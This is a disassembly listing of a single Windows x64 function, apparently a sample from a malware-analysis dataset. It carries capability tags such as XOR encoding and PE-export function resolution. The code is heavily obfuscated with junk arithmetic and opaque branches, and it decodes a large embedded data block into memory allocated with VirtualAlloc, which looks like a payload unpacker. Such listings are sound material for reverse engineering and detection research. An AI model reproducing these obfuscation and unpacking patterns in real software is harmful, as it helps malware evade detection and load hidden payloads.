Function at 0x140019a00
Capabilities:
Create pipe
Encode data using xor
Get common file path
Resolve function by parsing pe exports
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov qword [0x140269170], r8
xor r14d, r14d
mov dword [rbp + 0x40], 0xb6a
mov edx, 0x1657
mov dword [rbp - 0x18], 0x1b0c
mov r13d, 0xf05
mov dword [rbp - 0xc], 0xdc1
mov r8d, 0x48a
mov dword [rbp - 8], 0xdc1
lea r15d, [r14 + 1]
mov dword [rbp - 0x20], r14d
lea r9d, [rdx + 0x76]
mov dword [rbp - 0x1c], r13d
mov r12d, 0x1ca1
mov dword [rbp - 0x10], 0x13a4
mov r11d, 0x11cc
mov dword [rbp - 0x14], 0x1945
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
xor ecx, edx
cmp eax, ecx
jl 0x140019fb4
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
add ecx, 0xdc1
cmp eax, ecx
jne 0x140019e06
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
xor ecx, 0x6bd
cmp eax, ecx
jge 0x140019c30
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffffc77
cmp eax, ecx
jge 0x140019c30
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x14]
xor ecx, 0x18cf
cmp eax, ecx
jl 0x140019c30
mov rax, qword [section..data]
mov dword [0x140269018], r14d
mov dword [0x140269028], r14d
mov dword [0x14026902c], 7
mov dword [rax + 0x24], r14d
mov rax, qword [section..data]
mov qword [0x140269038], r14
mov dword [0x14026904c], 0x49
mov dword [rax + 0x50], r15d
mov rax, qword [section..data]
mov dword [0x140269064], r15d
mov dword [rax + 0x60], r14d
mov rax, qword [section..data]
mov dword [0x140269078], r14d
mov dword [0x140269084], r14d
mov dword [rax + 0x78], 4
mov rax, qword [section..data]
mov dword [0x14026909c], r14d
mov dword [0x1402690b0], r15d
mov dword [0x1402690c0], 0x43
mov dword [0x1402690cc], 2
mov dword [0x1402690e0], r15d
mov dword [0x1402690f4], r14d
mov dword [0x140269100], 0x14
mov dword [0x140269108], 5
mov dword [0x14026910c], 0xf
mov dword [0x140269118], 0x13
mov dword [rax + 0x118], 0x1d
mov rax, qword [section..data]
mov dword [0x140269140], 5
mov dword [0x140269148], 3
mov dword [0x140269158], 0x23
mov dword [rax + 0x14c], 0x21
mov rcx, qword [section..data]
mov dword [0x14026917c], r14d
cmp dword [rcx + 0xd0], 0x11c29
ja 0x140019c0f
imul eax, dword [0x140269088], 0x181781
mov dword [0x140269088], eax
cmp dword [rcx + 0x54], 0xf705
je 0x140019c29
mov eax, dword [0x140269084]
xor eax, 0x217ae
sub dword [0x14026915c], eax
add dword [rbp - 0x1c], 0xa4d
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x1c]
xor ecx, r9d
cmp eax, ecx
je 0x140019e64
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x18]
xor ecx, 0x1239
cmp eax, ecx
jle 0x140019ca0
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x1c]
add ecx, 0xfffffdbb
cmp eax, ecx
je 0x140019ca0
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff237
cmp eax, ecx
je 0x140019ca0
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x1d54
cmp eax, ecx
jle 0x140019ca0
mov eax, dword [0x14026902c]
mov ecx, dword [0x1402690cc]
add eax, 0xfff16cb8
sub ecx, dword [0x140269070]
add ecx, eax
mov dword [0x14026902c], ecx
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0xc]
xor ecx, 0xb32
cmp eax, ecx
jge 0x140019cf6
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp + 0x40]
xor ecx, r8d
cmp eax, ecx
jg 0x140019cf6
cmp dword [0x140269028], 0x35c7
jne 0x140019ce1
mov rax, qword [section..data]
mov ecx, dword [rax + 0x1c]
add ecx, dword [0x14026903c]
mov dword [0x140269028], ecx
jmp 0x140019cf6
mov eax, dword [0x14026903c]
mov rcx, qword [section..data]
add eax, 0x1d2561
xor dword [rcx + 0x28], eax
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x14]
xor ecx, 0x331
cmp eax, ecx
je 0x140019d3d
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
xor ecx, edx
cmp eax, ecx
je 0x140019d3d
mov eax, dword [0x140269100]
cmp dword [0x140269118], eax
jne 0x140019d2c
mov dword [0x140269100], 0x1c0c6
jmp 0x140019d3d
mov eax, dword [0x14026903c]
add eax, 0x1943e8
mov dword [0x140269100], eax
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
add ecx, 0xffffffab
cmp eax, ecx
jg 0x140019e64
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0x39b
cmp eax, ecx
jle 0x140019da2
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, r12d
cmp eax, ecx
jl 0x140019da2
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffffcc8
cmp eax, ecx
jg 0x140019da2
add dword [rbp + 0x40], 0xbc4
mov eax, dword [0x140269078]
cmp dword [0x1402690cc], eax
jb 0x140019da2
mov ecx, dword [0x1402690e0]
add ecx, 0xfeb5a
add dword [0x140269038], ecx
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
xor ecx, 0xe6b
cmp eax, ecx
jge 0x140019e64
xor dword [rbp - 0x18], 0x1070
imul eax, dword [0x14026910c], 0x6a82b
mov dword [0x14026910c], eax
add dword [rbp - 0x18], 0x245
cmp dword [0x140269034], 0x1549d
ja 0x140019dec
mov dword [0x140269154], 0x1ba2
jmp 0x140019dfd
mov eax, dword [0x1402690f4]
xor eax, 0x13668
sub dword [0x1402690c0], eax
add dword [rbp - 0x1c], 0xfffff087
jmp 0x140019e64
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
or ecx, dword [0x140269064]
sub ecx, eax
mov rax, qword [section..data]
cmp dword [rax + 0x4c], ecx
jb 0x140019e64
mov edx, dword [rbp + 0x40]
jmp 0x140019e58
mov eax, dword [rbp - 0xc]
imul ecx, eax, 0x1952
xor dword [rbp + 0x40], ecx
mov rax, qword [section..data]
mov ecx, dword [rax + 0x6c]
sub ecx, dword [0x140269028]
mov eax, dword [rbp - 0x20]
add eax, ecx
mov ecx, dword [0x14026902c]
imul ecx, eax
add edx, r15d
mov dword [0x14026902c], ecx
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0xc]
add ecx, eax
cmp edx, ecx
jg 0x140019e25
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0xc]
xor ecx, r11d
cmp eax, ecx
je 0x140019fb4
xor dword [rbp - 0x1c], 0x102b
add dword [rbp - 0x1c], 0xffffff53
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 8]
add ecx, 0xfffffa71
cmp eax, ecx
je 0x140019f2f
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x14]
add ecx, 0xe4c
mov rdx, qword [section..data]
cmp eax, ecx
jg 0x140019ed1
cmp dword [rdx + 0xfc], 0x9713
je 0x140019ed1
mov eax, dword [rdx + 0xf0]
sub eax, dword [rdx + 0x8c]
sub eax, 0x8634d
mov dword [0x140269028], eax
mov eax, dword [rdx + 0xbc]
cmp dword [0x1402690c0], eax
jbe 0x140019ef6
mov eax, 0xfffb3f57
sub eax, dword [0x140269108]
add dword [rdx + 0x24], eax
mov rdx, qword [section..data]
jmp 0x140019f00
add dword [0x14026910c], 0x1bbf3
mov eax, dword [rdx + 0x68]
cmp dword [0x14026909c], eax
jb 0x140019f1e
mov eax, dword [0x14026902c]
add eax, 0x1f4116
mov dword [0x14026904c], eax
jmp 0x140019f28
add dword [0x140269118], 0x7e94
add dword [rbp - 0xc], 0xfffffda9
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0xc]
xor ecx, r13d
cmp eax, ecx
jg 0x140019fb4
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, r12d
cmp eax, ecx
je 0x140019f4f
mov eax, dword [rbp - 0x18]
mov eax, dword [rbp - 0x1c]
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0xc]
add ecx, 0x869
cmp eax, ecx
jge 0x140019f9e
mov eax, dword [0x1402690cc]
cmp dword [0x1402690f4], eax
mov rdx, qword [section..data]
jae 0x140019f82
mov eax, 0xfffe737f
sub eax, dword [rdx + 8]
add dword [0x140269158], eax
mov eax, dword [0x140269154]
mov ecx, dword [0x1402690e0]
add eax, 0x2c7f2
sub ecx, dword [rdx + 0x74]
add ecx, eax
mov dword [0x140269154], ecx
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
add ecx, 0x172
cmp eax, ecx
je 0x140019fb4
mov eax, dword [rbp - 0xc]
mov eax, dword [rbp + 0x40]
mov ecx, dword [rbp - 8]
mov r10d, 0x832
mov eax, dword [rbp - 0x18]
add ecx, 0xfffffdbb
cmp eax, ecx
jle 0x14001a4e3
mov ecx, dword [rbp - 0x10]
mov esi, 0x249
mov eax, dword [rbp - 0xc]
add ecx, 0x768
mov edi, 0x18ce
cmp eax, ecx
jg 0x14001a242
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0xe4c
cmp eax, ecx
jge 0x14001a02a
mov edx, dword [0x1402690f4]
mov eax, 0xfffffc33
sub eax, dword [0x140269108]
mov ecx, dword [0x140269158]
add dword [0x140269154], eax
add ecx, 0x3f9c6
add ecx, edx
imul edx, ecx
mov dword [0x1402690f4], edx
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
xor ecx, 0x1aef
cmp eax, ecx
jl 0x14001a093
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x14]
add ecx, 0x74d
cmp eax, ecx
je 0x14001a093
add dword [rbp - 0x14], 0xfffff094
add dword [rbp - 0x20], 0x1952
xor dword [rbp - 0x14], 0x108b
cmp dword [0x140269018], 0x1723e
jae 0x14001a077
add dword [0x1402690cc], 0x182b6
jmp 0x14001a093
mov rax, qword [section..data]
mov ecx, dword [rax + 0x78]
sub ecx, dword [0x14026915c]
add ecx, 0x56e5
mov dword [0x1402690cc], ecx
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x1c]
xor ecx, r8d
cmp eax, ecx
jl 0x14001a0f1
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x14]
add ecx, 0x768
cmp eax, ecx
jg 0x14001a0f1
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
add ecx, 0xb91
cmp eax, ecx
jge 0x14001a0f1
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, edi
cmp eax, ecx
jle 0x14001a0f1
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
add ecx, 0x165
cmp eax, ecx
jge 0x14001a0f1
xor dword [rbp + 0x40], 0xedc
add dword [rbp - 0x18], 0x74d
add dword [rbp - 0x1c], 0xfffff225
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
xor ecx, r11d
cmp eax, ecx
jge 0x14001a242
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
add ecx, 0x388
cmp eax, ecx
jge 0x14001a242
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff178
cmp eax, ecx
jl 0x14001a242
add dword [rbp - 0xc], 0xddb
xor dword [rbp - 0xc], esi
cmp dword [0x140269070], 0x1411b
ja 0x14001a15f
mov rax, qword [section..data]
mov ecx, dword [rax + 0x148]
sub ecx, dword [0x14026902c]
sub ecx, 0xa3903
xor dword [0x140269154], ecx
add dword [rbp - 0x20], 0xfffffddc
mov ecx, dword [rbp - 0x10]
mov eax, dword [0x140269128]
xor ecx, 0x913
xor eax, 0x1b62
sub dword [0x140269154], eax
mov eax, dword [rbp - 8]
cmp eax, ecx
jge 0x14001a242
mov eax, 0xffffefd9
sub eax, dword [0x140269084]
add dword [0x140269154], eax
add dword [rbp - 0x14], 0xfffff218
mov rdx, qword [section..data]
mov eax, dword [rdx + 0xf0]
cmp dword [rdx + 0x3c], eax
ja 0x14001a1c8
mov eax, dword [0x14026917c]
xor eax, 0xffffe676
sub dword [0x140269154], eax
jmp 0x14001a1e9
mov eax, dword [0x140269034]
mov ecx, dword [0x14026910c]
sub ecx, dword [0x140269060]
xor ecx, 0x1d86b
imul eax, ecx
mov dword [0x140269034], eax
mov eax, dword [0x140269070]
cmp dword [rdx + 0x28], eax
je 0x14001a208
mov eax, dword [0x1402690c0]
add eax, 0x3b7b161e
mov dword [rdx], eax
mov rdx, qword [section..data]
cmp dword [rdx + 0x24], 0xdd47
mov ecx, 0x27deefc
mov eax, dword [0x140269014]
cmovae eax, ecx
mov dword [0x140269014], eax
mov eax, dword [0x140269034]
cmp dword [0x140269108], eax
jae 0x14001a242
mov eax, dword [0x140269084]
add eax, 0xaff8
mov dword [0x140269050], eax
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
xor ecx, r11d
cmp eax, ecx
jg 0x14001a4e3
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffffcc8
cmp eax, ecx
jle 0x14001a367
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
add ecx, 0xddb
cmp eax, ecx
je 0x14001a593
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
xor ecx, r9d
cmp eax, ecx
jge 0x14001a367
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x18]
add ecx, 0x5a1
cmp eax, ecx
je 0x14001a2cf
mov eax, dword [0x140269118]
xor eax, 0x4333657a
mov dword [0x140269068], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0xd0]
xor ecx, dword [rax + 0x8c]
mov eax, dword [rbp - 0x10]
xor ecx, r15d
mov dword [0x140269130], ecx
mov dword [rbp - 0x10], eax
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1238
cmp eax, ecx
jge 0x14001a367
mov ecx, dword [0x140269050]
mov r11d, dword [0x140269068]
cmp ecx, r11d
ja 0x14001a361
mov rbx, qword [section..data]
mov edx, dword [0x14026915c]
mov r8d, dword [0x140269158]
mov r9d, dword [0x140269130]
mov r10d, dword [0x140269108]
add r10d, dword [0x140269078]
mov eax, r15d
sub eax, dword [0x140269060]
add r8d, eax
mov dword [0x140269108], r10d
mov eax, ecx
mov dword [0x140269158], r8d
imul eax, ecx
add ecx, r15d
add r9d, eax
mov dword [0x140269130], r9d
or edx, dword [rbx + 0xe4]
mov dword [0x14026915c], edx
cmp ecx, r11d
jbe 0x14001a317
mov r10d, 0x832
mov r11d, 0x11cc
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x18]
add ecx, 0xfffffea4
cmp eax, ecx
jg 0x14001a4e3
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
xor ecx, 0x128e
cmp eax, ecx
jl 0x14001a3c3
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
xor ecx, 0x158
cmp eax, ecx
jle 0x14001a3c3
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0x2d4
cmp eax, ecx
jle 0x14001a3c3
mov eax, dword [0x140269130]
lea ecx, [rax + rax*2]
add ecx, ecx
mov dword [0x140269130], ecx
add dword [rbp - 0x10], 0x64e
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff3cf
cmp eax, ecx
je 0x14001a40b
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0xfffffea4
cmp eax, ecx
jg 0x14001a40b
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
xor ecx, 0xa0
cmp eax, ecx
jg 0x14001a40b
mov edx, dword [0x1402690cc]
add edx, dword [0x140269128]
xor edx, 0x14a0f9
add dword [0x140269060], edx
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
xor ecx, 0x164
cmp eax, ecx
je 0x14001a4e3
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x1c]
add ecx, 0xfffff2b5
cmp eax, ecx
je 0x14001a4e3
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x20]
xor ecx, 0x701
cmp eax, ecx
jg 0x14001a4b9
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x14]
xor ecx, 0x220
cmp eax, ecx
je 0x14001a4b9
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x1c]
add ecx, 0xffffff60
cmp eax, ecx
jge 0x14001a49b
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
add ecx, 0x224
cmp eax, ecx
jge 0x14001a49b
add dword [rbp - 0x1c], 0xe88
add dword [rbp - 0x18], 0xfffff66e
mov rcx, qword [section..data]
mov eax, dword [0x140269130]
mov dword [rcx + 0x90], eax
add dword [rbp - 0x20], 0xfffff44e
xor dword [rbp - 0x14], edi
cmp dword [0x1402690b0], 0x14479
je 0x14001a4b9
mov rax, qword [section..data]
mov ecx, dword [rax]
sub dword [0x1402690a0], ecx
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffff7c6
cmp eax, ecx
je 0x14001a4e3
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffffee6
cmp eax, ecx
jl 0x14001a4e3
xor dword [rbp - 0xc], esi
xor dword [rbp - 0xc], 0xb7
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffffd3c
cmp eax, ecx
je 0x14001cacc
mov ecx, dword [rbp - 0xc]
mov esi, 0x1a09ec
mov eax, dword [rbp - 0x14]
add ecx, 0xffffff53
mov edi, 0xb7c
cmp eax, ecx
je 0x14001b346
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 8]
add ecx, 0xfffffea4
cmp eax, ecx
jg 0x14001b0da
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
je 0x14001aecd
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x18]
add ecx, 0x828
cmp eax, ecx
je 0x14001a782
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
xor ecx, r11d
cmp eax, ecx
jg 0x14001a7fa
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x14]
add ecx, 0x389
cmp eax, ecx
je 0x14001a7fa
mov rax, qword [section..data]
mov ecx, dword [rax + 0xfc]
cmp dword [0x140269108], ecx
ja 0x14001a5fa
mov eax, dword [0x140269130]
mov dword [0x14026912c], eax
jmp 0x14001a612
mov edx, dword [rbp + 0x40]
jmp 0x14001a5de
mov ecx, dword [rbp - 0x10]
sub ecx, dword [0x14026904c]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
je 0x14001a5db
mov eax, dword [0x1402690e0]
imul eax, dword [0x14026903c]
cmp dword [0x14026913c], eax
jbe 0x14001a5db
mov eax, dword [rbp - 8]
imul eax, dword [0x140269038]
cmp dword [0x140269158], eax
jne 0x14001a5db
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
imul ecx, eax
xor dword [rbp - 0x1c], ecx
add edx, 4
mov rax, qword [section..data]
mov ecx, dword [rbp - 0x18]
or ecx, dword [rax + 0x8c]
sub ecx, r10d
cmp edx, ecx
jne 0x14001a598
jmp 0x14001a367
mov eax, dword [0x140269064]
sub eax, dword [0x140269028]
add eax, dword [0x14026910c]
add dword [0x140269100], eax
xor dword [rbp - 0xc], 0x16f7
add dword [rbp - 0x1c], 0xfffffd3c
xor dword [rbp - 0xc], r12d
mov eax, dword [rbp - 0x1c]
mov dword [rbp - 0x1c], eax
xor dword [rbp - 0x20], 0x1c52
mov rdx, qword [section..data]
mov eax, dword [0x14026915c]
add eax, 0xdb694
mov ecx, dword [rdx + 0x60]
add ecx, eax
mov eax, 0xffe759f3
mov dword [0x1402690c0], ecx
mov ecx, dword [0x140269118]
sub eax, ecx
add dword [0x1402690e0], eax
mov eax, dword [0x1402690b0]
cmp dword [rdx + 8], eax
jae 0x14001a67c
mov eax, dword [rdx + 0x50]
xor eax, ecx
xor eax, 0x159216
mov dword [0x140269118], eax
add dword [rbp - 0x1c], 0xfffff7d7
add dword [rbp - 8], 0xcf6
add dword [rbp - 0x14], 0x5a1
mov ecx, dword [0x140269100]
cmp ecx, 0x6ec3
jae 0x14001a6b4
mov eax, dword [0x1402690f4]
xor eax, ecx
xor eax, 0x2be3a
mov dword [0x14026902c], eax
jmp 0x14001a6c0
mov eax, dword [0x140269014]
add dword [0x14026912c], eax
add dword [rbp - 0x18], 0xdd6
mov rcx, qword [section..data]
cmp dword [rcx + 0x2c], 0x13077
ja 0x14001a6ea
mov eax, dword [0x140269038]
add eax, 0xffd75d7d
mov dword [0x140269048], eax
jmp 0x14001a701
mov eax, dword [0x140269108]
sub eax, dword [rcx + 0xf0]
add eax, 0x131ce
xor dword [0x140269038], eax
add dword [rbp - 0x18], 0x165
cmp dword [0x14026915c], 0xfeac
mov rdx, qword [section..data]
mov ecx, dword [0x140269048]
ja 0x14001a735
mov eax, dword [rdx + 0x138]
add eax, dword [0x14026909c]
or dword [0x140269118], eax
jmp 0x14001a74e
mov eax, 0x4b3215
sub eax, dword [0x1402690e0]
sub eax, dword [0x14026910c]
add ecx, eax
mov dword [0x140269048], ecx
mov eax, dword [0x1402690c0]
cmp dword [0x140269070], eax
jae 0x14001a772
mov eax, dword [rdx + 0x78]
xor eax, dword [0x140269064]
xor eax, ecx
xor eax, 0x643934
mov dword [0x140269048], eax
xor dword [rbp - 0x20], 0xd99
add dword [rbp - 0xc], 0xfffff7d8
jmp 0x14001a7fa
mov eax, dword [rbp - 0x1c]
sub eax, 0x172e
and eax, dword [0x140269070]
cmp dword [0x14026917c], eax
jne 0x14001a7fa
mov edx, dword [rbp + 0x40]
mov r8, qword [section..data]
mov r9d, dword [0x140269028]
jmp 0x14001a7ef
mov ecx, dword [0x1402690e0]
add ecx, 0xa32
add ecx, dword [0x140269030]
cmp dword [0x14026904c], ecx
jb 0x14001a7ec
mov eax, dword [rbp - 0xc]
imul eax, dword [0x140269064]
xor dword [rbp - 0xc], eax
mov eax, dword [rbp + 0x40]
and eax, dword [0x140269038]
add dword [rbp - 8], eax
mov r8, qword [section..data]
mov r9d, dword [0x140269028]
add edx, 2
mov eax, dword [r8 + 0x3c]
sub eax, r9d
cmp edx, eax
je 0x14001a7ab
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff8ed
cmp eax, ecx
jl 0x14001b346
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x14]
xor ecx, 0x345
cmp eax, ecx
je 0x14001a950
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
add ecx, 0xffffff53
cmp eax, ecx
jle 0x14001a8b9
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0xc]
xor ecx, 0xb7
cmp eax, ecx
je 0x14001a85e
mov edx, dword [0x1402690cc]
add edx, dword [0x1402690e0]
xor edx, 0xffe8da9a
sub dword [0x140269048], edx
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffffc65
cmp eax, ecx
jl 0x14001a89b
mov eax, dword [0x140269048]
mov ecx, dword [0x140269118]
add eax, 0x39d902
add ecx, dword [0x1402690f4]
add ecx, eax
mov dword [0x140269048], ecx
add dword [rbp - 0x20], 0xfffffe9b
xor dword [rbp - 0x20], 0xe7c
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1bb
cmp eax, ecx
jg 0x14001a8b9
add dword [rbp - 0x20], 0xfffffde0
xor dword [rbp - 0x20], 0x59b
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x14]
add ecx, 0xfffff6a3
cmp eax, ecx
jle 0x14001a950
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0xfffff040
cmp eax, ecx
jle 0x14001a920
mov rax, qword [section..data]
xor ecx, ecx
mov r8d, dword [0x14026917c]
mov r9d, dword [rax + 0x118]
xor r9d, dword [0x140269070]
sub r8d, dword [rax + 8]
add r9d, 0x23
mov edx, dword [rax + 0x38]
add r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rax, 0x3800
mov qword [0x1402690f8], rax
mov eax, dword [0x140269100]
mov ecx, dword [0x140269108]
add eax, 0xc604
or dword [0x140269018], eax
sub ecx, dword [0x140269118]
mov rax, qword [section..data]
add ecx, 0xc49ba
mov dword [rax + 0x88], ecx
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
cmp ecx, eax
jge 0x14001aba2
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffffa57
cmp eax, ecx
jge 0x14001aa33
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
add ecx, 0xffffefe7
cmp eax, ecx
je 0x14001aa33
add dword [rbp - 0x14], 0xd
add dword [rbp + 0x40], 0xfffff18a
mov rcx, qword [section..data]
mov eax, dword [0x140269140]
cmp dword [rcx + 0xf8], eax
jne 0x14001a9c5
mov eax, dword [0x140269064]
sub eax, dword [0x14026917c]
xor eax, dword [0x140269098]
xor eax, 0xb9996
mov dword [0x140269098], eax
jmp 0x14001a9d7
mov eax, dword [0x140269078]
sub eax, dword [0x14026909c]
mov dword [0x140269084], eax
mov rax, qword [0x1402690f8]
mov ecx, dword [rbp - 0x14]
mov qword [0x1402690e8], rax
xor ecx, 0x55f
mov eax, dword [rbp - 0x18]
cmp eax, ecx
jg 0x14001aa33
add dword [rbp - 0xc], 0xf3b
mov eax, dword [rbp - 0x1c]
cmp dword [0x140269038], 0x16603
mov dword [rbp - 0x1c], eax
jae 0x14001aa29
mov rcx, qword [section..data]
mov eax, dword [rcx + 0xb0]
add eax, dword [0x14026903c]
add dword [rcx + 0xe4], eax
jmp 0x14001aa33
mov dword [0x140269074], 0xc4ec4ec5
xor dword [rbp - 0x1c], 0x1a0b
mov r8, qword [section..data]
mov eax, dword [r8 + 0x74]
cmp dword [0x140269078], eax
ja 0x14001aa5d
lea rax, [0x140033a50]
mov qword [0x1402690d8], rax
jmp 0x14001aa70
mov eax, dword [0x140269158]
sub eax, dword [r8 + 0xd0]
xor dword [0x1402690cc], eax
mov ecx, dword [0x140269084]
mov r10, r14
mov rax, qword [0x1402690d8]
mov r9d, dword [r10 + rax]
add r10, 4
imul r9d, dword [0x140269074]
mov eax, dword [0x140269118]
xor eax, 0xb028
sub ecx, eax
mov dword [0x140269084], ecx
mov rax, qword [r8 + 0xd8]
mov edx, r9d
movsxd rcx, dword [0x140269098]
shr edx, 0x10
mov byte [rcx + rax], dl
mov eax, 5
sub eax, dword [0x140269108]
mov edx, r9d
add dword [0x140269034], eax
mov r8d, dword [0x140269098]
mov rax, qword [section..data]
add r8d, r15d
mov dword [0x140269098], r8d
shr edx, 8
mov ecx, dword [rax + 0xd0]
mov eax, dword [0x140269118]
add eax, 0x17f5f7
add ecx, eax
mov rax, qword [0x1402690e8]
or dword [0x140269060], ecx
movsxd rcx, r8d
mov byte [rcx + rax], dl
mov eax, dword [0x140269098]
add eax, r15d
mov dword [0x140269098], eax
movsxd rcx, eax
mov rax, qword [0x1402690e8]
mov byte [rcx + rax], r9b
add dword [0x140269098], r15d
mov rcx, qword [section..data]
mov eax, dword [0x14026902c]
xor eax, 0xfff16cc1
add dword [0x140269060], eax
mov eax, dword [0x14026917c]
sub eax, dword [rcx + 8]
add eax, esi
add dword [rcx + 0x3c], eax
mov eax, 0x2d10bc
mov rcx, qword [section..data]
sub eax, dword [rcx + 0x28]
add dword [rcx + 0x118], eax
mov ecx, dword [0x140269084]
mov r8, qword [section..data]
mov eax, dword [r8 + 0xf8]
xor eax, dword [0x140269088]
sub eax, 0x605e01
or ecx, eax
mov dword [0x140269084], ecx
cmp r10, 0x229220
jl 0x14001aa79
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
xor ecx, 0xfb9
cmp eax, ecx
je 0x14001b346
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x14]
xor ecx, 0xc98
cmp eax, ecx
je 0x14001b346
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x18]
cmp eax, ecx
jl 0x14001ae28
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x18]
add ecx, 0xb78
cmp eax, ecx
jg 0x14001adcd
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
add ecx, 0xa22
cmp eax, ecx
jg 0x14001ac4c
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x18]
xor ecx, 0xa0
cmp eax, ecx
jl 0x14001ac4c
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
cmp eax, ecx
jl 0x14001ac4c
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
xor ecx, 0x11cb
cmp eax, ecx
jg 0x14001ac4c
